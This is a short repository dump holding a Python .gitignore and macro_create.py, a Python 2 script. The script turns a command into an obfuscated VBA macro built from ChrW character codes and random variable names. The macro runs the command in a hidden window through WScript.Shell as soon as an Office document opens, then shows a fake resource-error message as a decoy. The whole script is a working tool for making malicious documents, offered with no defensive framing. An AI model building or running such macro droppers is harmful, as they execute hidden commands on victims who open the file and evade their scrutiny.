├── .gitignore └── macro_create.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | 55 | # Sphinx documentation 56 | docs/_build/ 57 | 58 | # PyBuilder 59 | target/ 60 | 61 | #Ipython Notebook 62 | .ipynb_checkpoints 63 | -------------------------------------------------------------------------------- /macro_create.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import string 3 | import sys 4 | import random 5 | 6 | #Command you want to encode and run 7 | cmd = "" 8 | 9 | obfuscatedVars = [] 10 | 11 | print "Converting this command to VBA Macro:" 12 | print cmd 13 | 14 | print '\nMacro:' 15 | print 'Public Sub AutoOpen()' 16 | print ' Dim cmd As String' 17 | 18 | for i in range(0, len(cmd)): 19 | if (i%10 == 0): 20 | obfuscatedVar = [] 21 | obfuscatedVarName = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(15,20)) 22 | obfuscatedVar.append("ChrW(" + str(ord(cmd[i])) + ")") 23 | elif (i%10 == 9): 24 | obfuscatedVar.append("ChrW(" + str(ord(cmd[i])) + ")") 25 | obfuscatedVars.append(obfuscatedVarName) 26 | lineToPrint = ' ' + obfuscatedVarName + ' = ' 27 | for c in obfuscatedVar: 28 | lineToPrint += c + ' & ' 29 | print lineToPrint[0:-2] 30 | elif (i == len(cmd) - 1): 31 | obfuscatedVar.append("ChrW(" + str(ord(cmd[i])) + ")") 32 | obfuscatedVars.append(obfuscatedVarName) 33 | lineToPrint = ' ' + obfuscatedVarName + ' = ' 34 | for c in obfuscatedVar: 35 | lineToPrint += c + ' & ' 36 | print lineToPrint[0:-2] 37 | else: 38 | obfuscatedVar.append("ChrW(" + str(ord(cmd[i])) + ")") 39 | 40 | cmdString = ' cmd = ' 41 | for v in obfuscatedVars: 42 | cmdString += v + ' & ' 43 | print cmdString[0:-2] 44 | #print ' Shell cmd, 0' 45 | print ' Dim Obj as Object' 46 | print ' Set Obj = CreateObject("WScript.Shell")' 47 | print ' Obj.Run cmd, 0' 48 | print ' MsgBox ("Required rescource could not be allocated")' 49 | print 'End Sub' 50 | --------------------------------------------------------------------------------